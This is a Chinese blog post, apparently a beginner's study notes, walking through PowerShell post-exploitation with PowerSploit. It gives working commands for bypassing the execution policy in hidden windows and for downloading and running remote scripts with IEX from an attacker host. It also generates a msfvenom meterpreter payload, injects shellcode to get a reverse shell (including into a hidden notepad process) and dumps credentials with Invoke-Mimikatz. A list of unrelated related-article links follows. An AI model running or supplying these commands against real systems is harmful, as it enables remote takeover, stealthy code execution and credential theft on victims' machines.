本人小白,写这篇文章主要记录一下自己的PowerShell学习之路,大牛请绕道:https://www.anquanke.com/subject/id/90541

首先PowerShell的攻击工具有以下几种:

  • PowerShell:这是众多PowerShell攻击工具中被广泛使用的PowerShell后期的漏洞利用框架,常用来进行信息探测,特权提升,凭证窃取,持久化等操作。
  • Nishang:基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种Payload,包含下载和执行,键盘记录,DNS,延时命令等脚本。
  • Empire:基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭证信息,常用于提供前期漏洞利用的集成模块,信息探测,凭证窃取,持久化控制。
  • PowerCat:PowerShell版的NetCat,有着网络工具中的"瑞士军刀"美誉,它能通过TCP和UDP在网络中读取数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它

各个操作系统对应的PowerShell版本可以使用Get-Host或者$PSVersionTable.PSVERSION命令查看:

如果要运行PowerShell脚本程序,必须用管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本,比如下面这三种:

  • 绕过本地权限执上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示:
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
  • 本地隐藏绕过权限执行脚本
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -Nonlnteractive -NoProfile -File xxx.ps1
  • 用IEX下载远程ps1脚本绕过权限执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonI IEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

参数说明:

  • ExecutionPolicy Bypass:绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过这个参数,可以绕过一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
  • WindowStyle Hidden:隐藏窗口。
  • NoLogo:启动不显示版权标志的PowerShell。
  • Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。
  • NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
  • Noexit执行后不退出Shell。这在使用键盘记录等脚本时非常重要。

PowerShell脚本在默认情况下无法直接执行,这时就可以使用上述三种方法绕过安全策略,运行PowerShell脚本。

PowerSploit

PowerShell是一款基于PowerShell的后渗透(Post-Exploitation)框架软件,其github地址为:https://github.com/PowerShellMafia/PowerSploit

这里通过kali下载安装,移动到/var/www/html 目录,开启apache服务,搭建一个建议的服务器:

介绍各模块的功能:

  • AntivirusBypass:发现杀毒软件的查杀特征。
  • CodeExecution:在目标主机上执行代码。
  • Exfiltration:目标主机上的信息搜集工具。
  • Mayhem:蓝屏等破坏性脚本。
  • Persistence:后面脚本(持久性控制)。
  • Recon:以目标主机为跳板进行内网信息侦察。
  • ScriptModification:在目标主机上创建或修改脚本。

PowerShell 脚本攻击演示:

CodeExecution模块下的Invoke-Shellcode脚本常用于将ShellCode插入指定的进程ID或本地PowerShell中,下面介绍两种常用的反弹Meterpreter Shell方法:

1.直接执行ShellCode反弹Meterpreter Shell

首先在MSF里使用reverse_https模块进行监听:

使用msfvenom命令生成一个PowerShell脚本木马:

msfvenom -p windows/meterpreter/reverse_https lhost=192.168.0.133 lport=4444 -f powershell -o /var/www/html/test 

接下来生成PowerShell脚本木马

在目标机器PowerShell下输入以下命令来下载该脚本:

IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")

接着下载木马:

IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/test")

接着在PowerShell下运行以下命令:

Invoke-Shellcode -Shellcode($buf) -Force

现在返回MSF监听页面发现shell已经反弹成功

2.制定进程注入 ShellCode 反弹 Meterpreter Shell

同样在目标机器上下载需要使用的模块跟木马:

IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/CodeExecution/Invoke-Shellcode.ps1")
IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/test")

接着输入Get-Process命令或者ps查看当前进程:

然后输入以下命令创建一个新的进程,这里启动一个记事本,并把它设置为隐藏的,再输入Get-Process命令查看进程,可以看到多了一个进程,ID为3520,名为notepad的进程:

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden

接着输入以下命令,使用Invoke-Shellcode脚本进行进程注入:

Invoke-Shellcode -ProcessID  -Shellcode($buf) -Force

现在返回MSF监听页面发现shell已经反弹成功.

Invoke-Portscan

Invoke-Portscan是Recon模块下的一个脚本,主要用于端口扫描,还是先下载脚本:

IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Recon/Invoke-Portscan.ps1")

然后使用以下命令进行端口扫描:

Invoke-Portscan -Hosts 192.168.0.133 -ports "80,22,3389"

Invoke-Mimikatz

Mimikatz用来抓HASH,先来下载所用脚本:

IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1")

然后执行以下命令来抓取hash,不过首先必须是管理员权限,意思就是要先提权:

Invoke-Mimikatz -DumpCreds

.......

PowerUp

主要来介绍PowerUp模块,powerUp拥有众多用来寻找目标主机的Windows服务漏洞进行提权的实用脚本,先下载脚本:

IEX (New-Object Net.WebClient).DownloadString("http://192.168.0.133/PowerSploit/Privesc/PowerUp.ps1")

1.Invoke-AllChecks

该模块会自动执行PowerUp下所有模块来检查目的主机:

2.Find-PathDLLHijack

该模块用于检查当前%PATH%的哪些目录是用户可以写入的:

3.Get-ServiceDetail

该模块用于返回某服务的信息:

......

参考连接:

http://www.52bug.cn/4585.html

https://www.0xss.cn/100.html

https://www.freebuf.com/sectool/131275.html

http://www.vuln.cn/6436

11.PowerSploit攻击指南的更多相关文章

  1. Debian 11 配置优化指南

    原文地址: Debian 11 配置优化指南 - WindSpiritIT 0x00 简介 本文仅适用于配置 Debian 11 Bullseye 文中同时包含 Gnome 桌面和 KDE 桌面配置, ...

  2. 蓝牙攻击指南(kali)

    基本操作 hciconfig 查看蓝牙设备信息 hcitool:这是一个查询工具. 可以用来查询设备名称,设备ID,设备类别和设备时钟. hcidump:可以使用这个来嗅探蓝牙通信 hciconfig ...

  3. EDM营销之双十一最新实战营销指南汇总

    双十一虽已进入第八个年头,但其影响力只增不减,倒计时期间商家们都已火力全开.再结合全社会消费升级的大背景,如何才能在激烈竞争中杀出一条血路呢? 本次Focussend基于实战操作,以短信营销.邮件营销 ...

  4. C++11 相关教程

    C++11 中文wiki: https://zh.wikipedia.org/zh-cn/C%2B%2B11 C++11 新特性介绍: https://www.kancloud.cn/wangshub ...

  5. openstack指南

    1.openstack官网 http://www.openstack.org/ 2.openstack源码地址 https://github.com/openstack 3.openstack的pac ...

  6. MS17_010漏洞攻击Windows7

    攻击主机系统:Kali Linux 2018 目标主机系统:Windows7 x64 1.攻击主机启动Metasploit: msfconsole 2.查找MS17_010漏洞相关的信息: searc ...

  7. HTTP攻击与防范-跨网站脚本攻击

    实验目的 1.了解XSS -跨网站脚本攻击带来的危险性. 2.掌握XSS -跨网站脚本攻击的原理与方法 3.掌握防范攻击的方法 实验原理 跨网站脚本攻击之所以会发生,是因为网站的Web应用程序对用户的 ...

  8. HTTP攻击与防范-命令注入攻击

    实验目的 1.了解命令注入攻击攻击带来的危险性. 2.掌握命令注入攻击攻击的原理与方法 3.掌握防范攻击的方法 实验原理 1.了解命令注入攻击攻击攻击带来的危险性. 2.掌握命令注入攻击攻击攻击的原理 ...

  9. 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践

    目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...

随机推荐

  1. 以前的实验博客地址,以前使用csdn

    实验一木马分析(隐藏分析)实验 http://blog.csdn.net/qq_30600405/article/details/78360599 实验二木马分析(控制分析)实验和实验三冰河木马实验 ...

  2. QString的拼接

    QString的append()函数则提供了类似的操作,例如: 1. str = "User: ";     2. str.append(userName);     3. str ...

  3. Azure上通过haproxy实现APP Gateway或WAF的http跳转https

    Azure上的APP Gateway是七层负载均衡服务,WAF是APP Gateway服务的扩展.在实现七层负载均衡的同时,增加了WAF的功能,可以对后台的HTTP服务进行保护. Azure WAF采 ...

  4. JavaWeb开发Eclipse环境配置--史上最详细的教程

    [前言] JSP本身是JavaWeb中的知识,但是在学习Android网络时,必然要涉及到与服务器之间的交互,所以学一下JSP以及其他JavaWeb的内容还是很有必要的,至少能明白程序在访问服务器时, ...

  5. RabbitMQ 四种Exchange

    AMQP协议中的核心思想就是生产者和消费者隔离,生产者从不直接将消息发送给队列.生产者通常不知道是否一个消息会被发送到队列中,只是将消息发送到一个交换机.先由Exchange来接收,然后Exchang ...

  6. BIOS简单设置 解析“集成显卡”内存占用问题

    很多使用集成显卡的用户会发现,在系统信息窗口中,内存容量和实际不一样.比如系统内存显示4GB,可用3.48G之类.这不可用的一部分内存到哪去了? 其实减少的这部分内存是被集成显卡占用当做显存使用了.而 ...

  7. JavaScript语言基础-对象与数组

  8. CSS——盒子模型

    一.盒子模型: 模型如下: 如图:盒子模型包括:margin.padding.border.content四部分. margin:外边距,透明,能够显示父级的背景颜色等.表示元素与元素之间的间隔或者说 ...

  9. AJAX——Json

    一.简介: 客户端利用Ajax请求服务器端时,数据在两者之间通常有两种格式:XML格式的数据:Json(JavaScript Object Notation/JavaScript 对象表示法)格式数据 ...

  10. oracle 在xml中批量插入,批量修改及多组条件查询

    最近公司用ibatis开发项目,本来可以用存储过程处理批量插入,批量修改及多组条件查询:但由于使用模块相对较小,暂时就在xml中配置,以前没有在xml做过类似处理,有必要记录一下:好了,代码如下: & ...